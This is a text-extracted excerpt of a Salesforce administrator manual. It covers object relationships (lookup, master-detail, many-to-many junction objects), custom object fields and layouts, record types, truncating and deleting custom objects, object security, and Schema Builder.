Many-to-many You can use master-detail relationships to model many-to-many relationships between any two objects. A many-to-many relationship allows each record of one object to be linked to multiple records from another object and vice versa. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. See Creating a Many-to-Many Relationship on page 1830. Lookup This type of relationship links two objects together. Lookup relationships are similar to master-detail relationships, except they do not support sharing or roll-up summary fields. With a lookup relationship, you can: Link two different objects. Link an object with itself (with the exception of the user object; see Hierarchical on page 1829). For example, you might want to link a custom object called Bug with itself to show how two different bugs are related to the same problem. Note: Lookup relationships from objects related to the campaign member object arent supported; however, you can create lookup relationships from the campaign member object related to other objects.

When you create a lookup relationship, you can set these options: Make the lookup field required for saving a record, requiring it on the corresponding page layout as well.

1828

Create

Overview of Relationships

If the lookup field is optional, you can specify one of three behaviors to occur if the lookup record is deleted: Clear the value of this field This is the default. Clearing the field is a good choice when the field does not have to contain a value from the associated lookup record. Dont allow deletion of the lookup record thats part of a lookup relationship This option restricts the lookup record from being deleted if you have any dependencies, such as a workflow rule, built on the relationship. Delete this record also Available only if a custom object contains the lookup relationship, not if its contained by a standard object. However, the lookup object can be either standard or custom. Choose when the lookup field and its associated record are tightly coupled and you want to completely delete related data. For example, say you have an expense report record with a lookup relationship to individual expense records. When you delete the report, you probably want to delete all of the expense records, too. Warning: Choosing Delete this record also can result in a cascade-delete. A cascade-delete bypasses security and sharing settings, which means users can delete records when the target lookup record is deleted even if they dont have access to the records. To prevent records from being accidentally deleted, cascade-delete is disabled by default. Contact Salesforce.com to get the cascade-delete option enabled for your organization. Cascade-delete and its related options are not available for lookup relationships to business hours, community, lead, price book, product, or user objects.

When you define a lookup relationship, you have the option to include a lookup field on the page layouts for that object as well as create a related list on the associated object's page layouts. For example, if you have a custom object called PTO Requests and you want your users to link a PTO request with the employee submitting the request, create a lookup relationship from the PTO Request custom object with the user object. If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show the deletion. You can't delete an object or record in a lookup relationship if the combined number of records between the two linked objects is more than 100,000. To delete an object or record in a lookup relationship, first delete an appropriate number of its child records. Hierarchical This type of relationship is a special lookup relationship available only for the user object. It allows users to use a lookup field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a custom hierarchical relationship field to store each user's direct manager. Tip: When creating a hierarchical field in Personal, Contact Manager, Group, and Professional Editions, you can select the Restricted Field checkbox so that only users with the Manage Users permission can edit it. In Enterprise, Unlimited, and Developer Edition, use field-level security instead.

See Also:
Considerations for Relationships Defining Custom Objects Creating Custom Fields

1829

Create

Overview of Relationships

Creating a Many-to-Many Relationship


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Reports are not available in Database.com.

User Permissions Needed To create a many-to-many relationship: Customize Application

You can use master-detail relationships to model many-to-many relationships between any two objects. A many-to-many relationship allows each record of one object to be linked to multiple records from another object and vice versa. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. When modeling a many-to-many relationship, you use a junction object to connect the two objects you want to relate to each other. Junction Object A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many relationship between two objects. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. Creating the many-to-many relationship consists of: 1. 2. 3. 4. Creating the junction object. Creating the two master-detail relationships. Customizing the related lists on the page layouts of the two master objects. Customizing reports to maximize the effectiveness of the many-to-many relationship.

Creating the Junction Object To create the junction object: 1. Click Your Name > Setup > Create > Objects. 2. Click New Custom Object. 3. In the custom object wizard, consider these tips specifically for junction objects: Name the object with a label that indicates its purpose, such as BugCaseAssociation. For the Record Name field, it is recommended that you use the auto-number data type. Do not launch the custom tab wizard before clicking Save. Junction objects do not need a tab.

Creating the Two Master-Detail Relationships To create the two master-detail relationships: 1. Verify that the two objects you want to relate to each other already exist. For example, you may want to relate the standard case object to a custom bug object. 2. On the junction object, create the first master-detail relationship field. In the custom field wizard: a. Choose Master-Detail Relationship as the field type.

1830

Create

Overview of Relationships

b. Select one of the objects to relate to your junction object. For example, select Case. The first master-detail relationship you create on your junction object becomes the primary relationship. This affects the following for the junction object records: Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master object. Record ownership: The junction object records inherit the value of the Owner field from their associated primary master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only relevant if you later delete both master-detail relationships on your junction object. Division: If your organization uses divisions to segment data, the junction object records inherit their division from their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both master-detail relationships.

c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records. d. For the Related List Label that will display on the page layout of the master object, do not accept the default. Change this to use the name of the other master object in your many-to-many relationship. For example, change this to Bugs so users will see a Bugs related list on the case detail page. 3. On the junction object, create the second master-detail relationship. In the custom field wizard: a. Choose Master-Detail Relationship as the field type. b. Select the other desired master object to relate to your junction object. For example, select Bug. The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary. c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records. d. For the Related List Label that will display on the page layout of the master object, do not accept the default. Change this to use the name of the other master object in your many-to-many relationship. For example, change this to Cases so users will see a Cases related list on the bug detail page. Customizing Many-to-Many Relationship Related Lists For a many-to-many relationship in Salesforce, each master object record displays a related list of the associated junction object records. To create a seamless user experience, you can change the name of the junction object related list on each of the master object page layouts to have the name of the other master object. For example, you might change the BugCaseAssociations related list to Cases on the bugs page layout and to Bugs on the cases page layout. You can further customize these related lists to display fields from the other master object. To customize the fields that display in the junction object related list on each master object page layout: 1. Edit the page layout of each master object that is related to the junction object. For example, to modify the BugCaseAssociations related list for case records, edit the page layout for cases at Your Name > Setup > Customize > Cases > Page Layouts. 2. Edit the properties of the related list you want to modify. For example, on cases the BugCaseAssociations related list was renamed to Bugs, so select the Bugs related list. 3. Add the fields to display in the related list. You can add fields from the junction object itself, but more importantly, you can add fields from the other master object. Each field is prefixed with its object name in the popup window. In the related list itself, only fields from the junction object are prefixed with the object name; fields from the other master object are not.

1831

Create

Overview of Relationships

Note: The junction object related list does not include an icon on the master record's detail pages because the junction object does not have a custom tab. If you make a tab for the junction object, the icon is included.

Customizing Reports for Many-to-Many Relationships Many-to-many relationships provide two standard report types that join the master objects and the junction object. The report types are: Primary master with junction object and secondary master in the primary master object's report category. Secondary master with junction object and primary master in the secondary master object's report category.

The order of the master objects in the report type is important. The master object listed first determines the scope of records that can be displayed in the report. You can create custom reports based on these standard report types. In addition, you can create custom report types to customize which related objects are joined in the report.

See Also:
Defining Custom Objects Considerations for Relationships Custom Report Types Overview

Considerations for Relationships


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Review the following considerations before creating relationships between objects: Relationship Limits Each custom object can have up to two master-detail relationships and many lookup relationships. Each relationship is included in the maximum number of custom fields allowed. For the total number of custom fields you can create, see Salesforce Editions and Limits on page 2182. Converting Relationships You can convert a master-detail relationship to a lookup relationship as long as no roll-up summary fields exist on the master object. You can convert a lookup relationship to a master-detail relationship, but only if the lookup field in all records contains a value. Self Relationships You can create a relationship from an object to itself, but it must be a lookup relationship, and a single record can't be linked to itself. However, a record can indirectly relate to itself. For example, the Holiday Promotion campaign can have the Direct Mail campaign selected in the lookup relationship, and the Direct Mail campaign can have the Holiday Promotion campaign selected in the lookup relationship.

1832

Create

Overview of Relationships

You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object can't have the same master object. Icons for Custom Related Lists The icon you select for the associated custom tab also displays in any custom related list you create based on a relationship. For more information on choosing the icon for your custom tab, see Creating Custom Object Tabs. Custom related lists do not include an icon if they are based on a relationship with a custom object that does not have a custom tab. Master-Detail Relationships To create multilevel master-detail relationships, you need the Customize Application user permission. When you define a master-detail relationship, the custom object on which you are working is the detail side. Its data can appear as a custom related list on page layouts for the other object. If a custom object is a detail or subdetail component in a master-detail relationship, it can't also be the master of a different master-detail relationship. By default, records cant be reparented in master-detail relationships. Administrators can, however, allow child records in master-detail relationships on custom objects to be reparented to different parent records by selecting the Allow reparenting option in the master-detail relationship definition. You can have up to three custom detail levels. Standard objects can't be on the detail side of a custom object in a master-detail relationship. An object can appear once in multilevel master-detail relationships. For example, a subdetail object in one multilevel master-detail relationship can't also be the owner of the master object in another multilevel master-detail relationship. A subdetail object can't also be the master object of the subdetail object's detail object. Multilevel master-detail relationships do not support division transfers. You can't create a master-detail relationship if the custom object already contains data. You can, however, create the relationship as a lookup and then convert it to master-detail if the lookup field in all records contains a value. Converting relationships from lookup to master-detail, or from master-detail to lookup behaves the same as for two-object master-detail relationships. That is, the two linked objects in the detail-subdetail1, or subdetail1-subdetail2 relationship have the same conversion limits as the master-detail relationship. Roll-up summary fields work as in two-object master-detail relationships. A master can roll up fields on detail records; however, it can't directly roll up fields on subdetail records. To achieve this, the detail record must have a roll-up summary field for the field on the subdetail record, allowing the master to roll up from the detail's roll-up summary field. You can use multilevel master-detail relationships in custom report types. The Allow Reports checkbox must be checked when you create the custom object. Custom report types created for multilevel master-detail relationships count towards the organizations custom report type limit and no reports are generated if this limit is exceeded. See Salesforce Editions and Limits on page 2182. Custom junction objects can't have detail objects. That is, a custom junction object can't become the master object in a multilevel master-detail relationship. When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page 1279. You can't delete a custom object if it is on the master side of a master-detail relationship.

1833

Create

Overview of Relationships

Undeleting the master record also undeletes detail and subdetail records. As a best practice, don't exceed 10,000 child records for a master-detail relationship. Many-to-Many Relationships Junction object records are deleted when either associated master record is deleted and placed in the Recycle Bin. If both associated master records are deleted, the junction object record is deleted permanently and can't be restored. Sharing access to a junction object record is determined by a user's sharing access to both associated master records and the Sharing Setting option on the relationship field. See Custom Object Security on page 1847. For example, if the sharing setting on both parents is Read/Write, then the user must have Read/Write access to both parents in order to have Read/Write access to the junction object. If, on the other hand, the sharing setting on both masters is Read-Only, a user with Read-Only rights on the master records would have Read/Write access to the junction object. You can create workflow rules and approval processes on junction objects; but you can't create outbound messages on junction objects. In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this object, manually delete junction object records until the count is fewer than 200. The first master-detail relationship you create on your junction object becomes the primary relationship. This affects the following for the junction object records: Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master object. Record ownership: The junction object records inherit the value of the Owner field from their associated primary master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only relevant if you later delete both master-detail relationships on your junction object. Division: If your organization uses divisions to segment data, the junction object records inherit their division from their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both master-detail relationships.

The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary. Roll-up summary fields that summarize data from the junction object can be created on both master objects. Formula fields and validation rules on the junction object can reference fields on both master objects. You can define Apex triggers on both master objects and the junction object. A junction object can't be on the master side of another master-detail relationship. You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object can't have the same master object. Lookup Relationships If the lookup field is optional, you can specify one of three behaviors to occur if the lookup record is deleted:
Clear the value of this field This is the default. Clearing the field is a good choice when the field does

not have to contain a value from the associated lookup record.

1834

Create

Overview of Relationships

Dont allow deletion of the lookup record thats part of a lookup relationship This

option restricts the lookup record from being deleted if you have any dependencies, such as a workflow rule, built on the relationship. Delete this record also Available only if a custom object contains the lookup relationship, not if its contained by a standard object. However, the lookup object can be either standard or custom. Choose when the lookup field and its associated record are tightly coupled and you want to completely delete related data. Warning: Choosing Delete this record also can result in a cascade-delete. A cascade-delete bypasses security and sharing settings, which means users can delete records when the target lookup record is deleted even if they dont have access to the records. To prevent records from being accidentally deleted, cascade-delete is disabled by default. Contact Salesforce.com to get the cascade-delete option enabled for your organization. Cascade-delete and its related options are not available for lookup relationships to business hours, community, lead, price book, product, or user objects.

In a chain of lookup relationships, these behaviors work independently on each target field at each level. Say, for example, field A is the target lookup of field B, which in turn is the target lookup of field C. You can have a delete restriction on A and none on B, which means that A cant be deleted but B can. Once B is deleted, the relationship between A and B no longer exists and C will hold an empty value for the lookup. In a multilevel lookup relationship, these options might conflict. For example, in the scenario where field A is the target lookup of field B, which in turn is the target lookup of field C, you might specify that A can delete B, but B cannot be deleted because its in a relationship with C. If you try to delete A, youll get an error saying that B cant be deleted because its linked to C. If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show the deletion. Impact of Relationships on Reports The type of relationship you create affects which standard report types are available and how they are categorized. These report types determine which related objects can be included in the report: Lookup relationships allow data from the two related objects to be joined in one report. Master-detail relationships allow data from three objects to be joined in one report: the master object, the detail object, plus one other lookup object. If the detail object has multiple lookup relationships, a separate report type is available based on each lookup. Many-to-many relationships provide two standard report types that join the master objects and the junction object. The report types are: Primary master with junction object and secondary master in the primary master object's report category. Secondary master with junction object and primary master in the secondary master object's report category. The order of the master objects in the report type is important. The master object listed first determines the scope of records that can be displayed in the report. The reporting impact of each relationship type is summarized in the following table:

1835

Create

Overview of Relationships

Relationship Type Lookup

Standard Report Types Object by itself Object with first lookup Object with second lookup Object with third lookup

Report Type Category Based on the object

Master-Detail

Master object by itself Master object with detail object Master object with detail object and first lookup Master object with detail object and second lookup Master object with detail object and third lookup

Master object

Many-to-Many

Primary master object by itself Secondary master object by itself Primary master object with junction object and secondary master object Secondary master object with junction object and primary master object

Primary master object and Secondary master object

Custom report types give you more flexibility to join data from multiple objects, including lookups as well as master-detail relationships. Important: Converting a relationship from lookup to master-detail or vice versa can cause existing custom reports to become unusable due to the different standard report types available for each type of relationship. We recommend that you test your custom reports immediately after converting the relationship type. If you revert your relationship back to the original type, the reports are restored and become usable again.

See Also:
Overview of Relationships Creating a Many-to-Many Relationship

1836

Create

Modifying Custom Objects

Modifying Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize custom objects: Customize Application

Customize the user interface for your custom objects by: Creating a custom tab; see Defining Custom Tabs on page 1861. Creating custom fields and relationships; see Defining Custom Object Fields on page 1837. Adding customized buttons and links to perform actions or link to other pages or websites; see Defining Custom Buttons and Links on page 1283. Defining which fields display for users on record detail and edit pages; see Building Page Layouts for Custom Objects on page 1838. Specifying which fields display for users in search results, lookup dialogs, and in the key lists on custom object tabs; see Customizing Search Layouts for Custom Objects on page 1839. Creating record types to display different picklist values and page layouts to different users based on their profiles; see Creating Custom Object Record Types on page 1840.

Defining Custom Object Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Divisions are not available in Database.com.

User Permissions Needed To view and edit standard fields: To create custom fields: Customize Application Customize Application

Custom object fields store the data for your custom object records. Custom Fields for Custom Objects You can create custom fields to store information unique to your organization; see Creating Custom Fields on page 1092. You can also create custom relationship fields to associate your custom object with another object in Salesforce. For more information about relationships, see Overview of Relationships on page 1827. Standard Fields for Custom Objects Custom objects automatically include the following standard fields. Click Edit to modify any of the editable fields.

1837

Create

Modifying Custom Objects

Field
Created By Currency Division

Description User who created the record. Currency of the record if multicurrency is enabled. Division to which the custom object record belongs. Custom objects that are detail objects in a master-detail relationship inherit their division from the master object. Custom objects that are not related to other records are automatically in the global division. Available only in organizations that use divisions to segment their data. User who most recently changed the record. Identifier for the custom object record. This name appears in page layouts, related lists, lookup dialogs, search results, and key lists on tab home pages. By default, this field is added to the custom object page layout as a required field. Assigned owner of the custom object record. If the custom object becomes the detail side of a master-detail relationship, this field is removed, as ownership of the data is controlled by the master object, or by the primary master object for a custom object with two master-detail relationships. Note: Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing, or queues, as these require the Owner field.

Last Modified By Name

Owner

See Also:
Modifying Custom Objects Overview of Relationships

Building Page Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define page layouts for custom objects: Customize Application

Page layouts define which fields users can view and edit when entering data for a custom object record. You can use the default page layout that is created automatically when you create a custom object. You can also build your own page layout with related

1838

Create

Modifying Custom Objects

lists and custom links. If you do not use any page layout with your custom object, you can still interact with it by using the Force.com API to manage custom data or build a custom user interface. To define a page layout for a custom object: 1. Click Your Name > Setup > Create > Objects. 2. Select one of the custom objects in the list. 3. In the Page Layouts related list, click Edit next to one of the page layouts to modify it, or click New to create a new page layout. 4. When creating a new page layout, enter a name for it, and select an existing page layout to clone, if desired. 5. Edit the page layout just as you would any other page layout. 6. Click Save.

See Also:
What is a Custom Object? Customizing Page Layouts Modifying Custom Objects

Customizing Search Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define search layouts for custom objects: Customize Application

You can customize which custom object fields display for users in search results, lookup dialogs, and the key lists on custom tab home pages. You can specify a different set of fields to show in each search layout. The settings apply to all users in your organization. Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the custom button, giving it the List Button Display Type. 1. Click Your Name > Setup > Create > Objects. 2. Select a custom object. 3. In Search Layouts, click Edit next to the search layout you want to modify. Note: The fields you select for the key lists on the custom tab home page are also used as the columns displayed in the default All list view and as the default columns for any new list views. To view different columns, customize the list view itself. 4. Move fields between Available Fields and Selected Fields. To customize which fields display in the layout, select one or more fields and click Add or Remove.

1839

Create

Modifying Custom Objects

To sort fields in the layout, select one or more fields in Selected Fields and click Up or Down. To select multiple fields individually, use CTRL+click. To select multiple fields as a group, use SHIFT+click.

5. Click Save.

See Also:
Customizing Search Layouts Modifying Custom Objects

Creating Custom Object Record Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create record types for custom objects: Customize Application

Create record types for a custom object to display different picklist values and page layouts to different users based on their profiles. For more information about record types, see Managing Record Types on page 1300. 1. 2. 3. 4. Click Your Name > Setup > Create > Objects. Select the custom object. Click New in the Record Types related list. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an existing record type to clone its picklist values. 5. Enter a Record Type Label that's unique within the object. 6. Enter a description. 7. Select Active to activate the record type. 8. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the checkbox in the header row to enable it for all profiles. 9. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox in the header row to make it the default for all profiles. 10. Click Next. 11. Choose a page layout option to determine what page layout displays for records with this record type: To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page layout from the drop-down list. To apply different page layouts based on user profiles, select Apply a different layout for each profile and choose a page layout for each profile.

1840

Customizing Standard Objects

About the Standard Object Limits Page

12. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to create another record type.

See Also:
Modifying Custom Objects

CUSTOMIZING STANDARD OBJECTS


About the Standard Object Limits Page
Available in: All Editions except Database.com

The standard object limits page shows details about your usage of customizations on an object, such as the custom fields youve added or sharing rules youve applied. The items in the list vary depending on the object. When an item exceeds the limit allowed for the object, or reaches 75% of the limit, a tip displays that suggests what you can do next. You can refer to the standard object limits page when planning how you want to customize a particular standard object, or to monitor the usage and limits of customizations on that object. To access the standard object limits page, click Your Name > Setup > Customize, click the name of the desired standard object, then click the limits option for that object. Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.

See Also:
Salesforce Editions and Limits

1841

Create

Truncating Custom Objects

Truncating Custom Objects


Truncating custom objects allows you to permanently delete all of the objects records but preserve the empty object and its metadata. Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To truncate custom objects: Customize Application

Important: Truncating custom objects causes some irreversible changes to the truncated object and its records. Before truncating, see Truncating Custom Objects Overview. Then, enable it for your organization by selecting the permission in Setup Settings. Truncating custom objects is a fast way to permanently remove all of the records from a custom object, while keeping the object and its metadata intact for future use. Truncating is useful, for example, if you have created a custom object and filled it with test records. When youre done with the test data, you can truncate the object to purge the test records, but keep the object and put it into production. This is much faster than batch-deleting records and possibly recreating the object. 1. Click Your Name > Setup > Create > Objects. 2. Click an object name to go to the objects detail page and click Truncate. 3. In the Confirm Custom Object Truncate window, review the warning and then enter the name of the object to truncate in the empty field. 4. Click Truncate.

See Also:
Managing Custom Objects Managing Deleted Custom Objects

Truncating Custom Objects Overview


Its important to understand what truncating an object does before using it to remove records. Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Truncating a custom object allows you to remove all of the objects records, while keeping the object and its metadata. Truncating custom objects is similar to the mass delete option available for standard objects. When you truncate a custom object, Salesforce places a copy of the truncated object in the Deleted Objects list for 15 days. It appears in the list as objectname_trunc[number]. During this period, the object and its records continue to count against

1842

Create

Truncating Custom Objects

your organization limits. To view a list of the maximum number of custom objects, fields, and other items allowed in your organization, see Salesforce Editions and Limits on page 2182. After 15 days, the records are permanently erased and no longer count against your limits. Important: Truncated custom objects cant be restored to their original state, even from their copies in the Deleted Objects list. You cant truncate standard objects or custom objects that: Are referenced by another object through a lookup field or that are on the master side of a master-detail relationship Are referenced in an analytic snapshot Contain a geolocation custom field (beta)

Truncating a custom object erases: All records currently sitting in the custom objects Recycle Bin The custom objects history Related events, tasks, notes, and attachments for each deleted record

Truncating a custom object breaks: Bookmarks to the truncated objects and its records. If someone clicks a bookmark to the truncated custom object or to a deleted records URL, Salesforce displays an Insufficient Privileges message. Apex scripts and Visualforce pages with references to a truncated object or record.

After truncating a custom object, you can continue to use the custom object and add new records. Salesforce preserves: The custom object definition and all related definitions Workflow rules, actions, and triggers Validation rules and approval processes Master-detail relationships and formula fields Translations Mobile configuration settings

When working with truncated objects, keep in mind: The truncated object tab has a new URL, so new bookmarks need to be created. List views and reports need to be refreshed after truncation. Roll-up summary fields need to be recalculated after truncation. There is no support for truncation in the API. To truncate objects that contain master-detail relationships, first truncate the detail (child) objects and then the (master) parent objects, working your way up the relationship tree.

See Also:
Truncating Custom Objects Overview of Relationships Managing Deleted Custom Objects

1843

Create

Deleting Custom Objects

Deleting Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To delete custom objects: Customize Application

To delete custom objects: 1. Click Your Name > Setup > Create > Objects. 2. Next to the custom object, click Del. 3. When prompted, select the Yes, I want to delete the custom object checkbox to confirm, and click Delete.

Notes on Deleting Custom Objects


When you delete a custom object, Salesforce does not add it to the Recycle Bin with other deleted records. Instead, deleted objects appear in the Deleted Custom Objects list for 15 days. During this time, you can restore an object and the data stored in it, or permanently erase the object and its data. After 15 days, the object and its data are permanently erased. If a user clicks a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges message. For more information on restoring custom objects, see Managing Deleted Custom Objects on page 1845. If youre approaching your limit for custom objects and need to delete some, you need to hard delete or erase them. Soft-deleted custom objects and their data count against your limits. To view a list of the maximum number of custom objects, fields, and other items allowed in your organization, see Salesforce Editions and Limits on page 2182. When you delete a custom object, Salesforce does the following: Removes the object from Force.com AppExchange packages. Changes the master-detail relationship to a lookup relationship, if the deleted object is on the detail side of a master-detail relationship, c Permanently erases: The object's data records currently in the Recycle Bin Custom tab, which is removed from any custom apps List views for the object Workflow rules and actions that use the object Mobile configuration settings, including data sets, mobile views, and excluded fields Standard report types associated with this object, and reports based on standard report types if the deleted object is on the detail side of a master-detail relationship:

Hides, inactivates, or disables: The custom object definition and all related definitions The object's data records and all related data records Custom report types for which this is the main object Custom reports for which this is the main object Custom formula fields on the object Custom validation rules and approval processes on the object

Salesforce restores these items if you restore the custom object.

1844

Create

Managing Deleted Custom Objects

You can't delete a custom object if it is on the master side of a master-detail relationship. When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page 1279. You can't delete a custom object if it is a target object in an analytic snapshot. You can't delete a custom object that contains custom fields used in a roll-up summary field for another object. Page layouts on a custom object are deleted and restored with it. However, custom object data can also exist on page layouts for other objects in the form of related lists. These related lists remain until you edit the page layout, at which time Salesforce permanently removes any items relating to the deleted custom object. You can't delete a custom object if it is referenced in: Apex A Visualforce page An analytic snapshot

In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this object, manually delete junction object records until the count is fewer than 200. You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more than 100,000 child records, first delete an appropriate number of its child records.

See Also:
Managing Deleted Custom Objects

Managing Deleted Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To restore deleted custom objects: To permanently delete custom objects: Customize Application Customize Application

When you delete a custom object, Salesforce does not add it to the Recycle Bin with other deleted records. Instead, deleted objects appear in the Deleted Custom Objects list for 15 days. During this time, you can restore an object and the data stored in it, or permanently erase the object and its data. After 15 days, the object and its data are permanently erased. If a user clicks a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges message. If youre approaching your limit for custom objects and need to delete some, you need to hard delete or erase them. Soft-deleted custom objects and their data count against your limits. To view a list of your deleted custom objects: 1. Click Your Name > Setup > Create > Objects. 2. Click Deleted Objects at the bottom of the list of custom objects. The number in parentheses indicates the total number of deleted custom objects in your organization. This link only displays when you have a deleted custom object.

1845

Create

Managing Deleted Custom Objects

Important: Copies of truncated custom objects also appear in the list of deleted objects. Truncated custom objects cant be restored to their original state, even from their copies in the Deleted Objects list. Undeleted copies of truncated objects have a new name and new URL, and some fields and data cannot be manually restored. 3. Use the list of deleted custom objects to perform the following actions: To view details about an object, click the label. To permanently remove the custom object and its data, click Erase. To restore the object and its data, click Undelete. Some attributes of deleted custom objects are not automatically restored. To restore these manually, complete the following steps: The developer name was changed to objectname_del. Edit the object to change the developer name. The custom object's Deployment Status field was set to In Development. When all changes impacted by the delete have been restored, edit the object to change the status to Deployed. Add the custom object to any appropriate Force.com AppExchange packages. Salesforce automatically removes deleted custom objects from packages that contain them. Recreate any custom tabs and list views for the custom object and add the custom tab to any custom apps as required. Rebuild any workflow rules on the object. Reactivate any custom validation rules for the object. Reactivate any approval processes for the object. Open and save any custom formula fields on the custom object to enable them. On the page layouts of other objects, add the custom object related list, button, or link to any page layouts that have been edited while the object is deleted. Related lists, buttons, or links to this object are automatically restored if the page layout is not edited while the object is deleted. For custom report types where the object is not the main object, add the reference to the custom object back to the custom report types. Reports based on the custom report type are automatically restored if not edited while the object is deleted. Recreate any reports that have been edited. If the deleted custom object is on the detail side of a master-detail relationship: Master-detail fields are converted to lookup fields when the object is deleted. Change the field types back to master-detail. Reports based on the object are not restorable. Where appropriate, recreate the reports. Note: It might take several hours before you can search for records in the object.

See Also:
Deleting Custom Objects Truncating Custom Objects Overview

1846

Create

Custom Object Security

Custom Object Security


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Tabs are not available in Database.com.

Many different security settings work together so you can control access to your custom objects with great flexibility. Set custom object security at the following different levels: Tabdisplay the custom tab for the appropriate users based on their user profiles. Objectset the access users have to create, read, edit, and delete records for each object. Recordsset the default sharing model for all your users. This determines the access users have to custom object records that they do not own. Relationshipfor objects on the detail side of a master-detail relationship, specify the sharing access that users must have to the master record in order to create, edit, or delete the associated detail records. This is specified in the Sharing Setting attribute of the master-detail relationship field on the detail object. Fieldsset the level of access users have to fields on your custom object page layout.

The following requirements apply to custom objects with no master-detail relationship: Action Create a record Required Privileges Create permission. The user must have the tab displayed to create a new record from the Create New drop-down list in the sidebar. Read permission and Public Read Only or Public Read/Write sharing model if not the record owner. Edit permission and Public Read/Write sharing model if not the record owner. Delete permission and must be the record owner or above the record owner in the role hierarchy.

View a record Edit a record Delete a record

The following requirements apply to custom objects that have a master-detail relationship with a standard or custom object: Action Create a record Required Privileges Create permission and either read or read/write access to the related master record, depending on the value of the Sharing Setting attribute of the master-detail relationship field on the detail object. Read permission and read access to the related master record. If the record has two master records in a many-to-many relationship, the user must have read access to both master records.

View a record

1847

Create

Schema Builder Overview

Action Edit a record

Required Privileges Edit permission and either read or read/write access to the related master record, depending on the value of the Sharing Setting attribute of the master-detail relationship field on the detail object. Delete permission and either read or read/write access to the related master record, depending on the value of the Sharing Setting attribute of the master-detail relationship field on the detail object. When a user deletes a record that has related custom object records, all related custom object records are deleted regardless of whether the user has delete permission to the custom object.

Delete a record

Delegated administrators can manage nearly every aspect of specified custom objects, but they cannot create or modify relationships on the object or set organization-wide sharing defaults.

See Also:
Field-Level Security Overview User Permissions Object Permissions Setting Your Organization-Wide Sharing Defaults Defining Custom Objects

Schema Builder Overview


Available in: All Editions

Schema Builder provides a dynamic environment to add new custom objects, custom fields, and relationships to your schema. This eliminates the need to click from page to page to find the details of a master-detail relationship or to add a new custom field to an object in your schema. For example, if youre using Schema Builder to view the details of your schema, you can add a new custom object without leaving Schema Builder. The drag-and-drop interface lets you easily add a custom object or new field, and saves the layout of your schema any time you move an object. Schema Builder provides details such as the field values, required fields, and how objects are related by displaying lookup and master-detail relationships. You can view the details for both standard and custom objects in Schema Builder. Schema Builder is enabled by default and lets you add the following to your schema: Custom objects Lookup relationships Master-detail relationships Fields of the following types:

1848

Create

Schema Builder Overview

Auto Number Formula Roll-up Summary Checkbox Currency Date Date/Time Email Number Percent Phone Picklist Picklist (Multi-Select) Text Text (Encrypted) Text Area Long Text Area Rich Text Area URL

See Also:
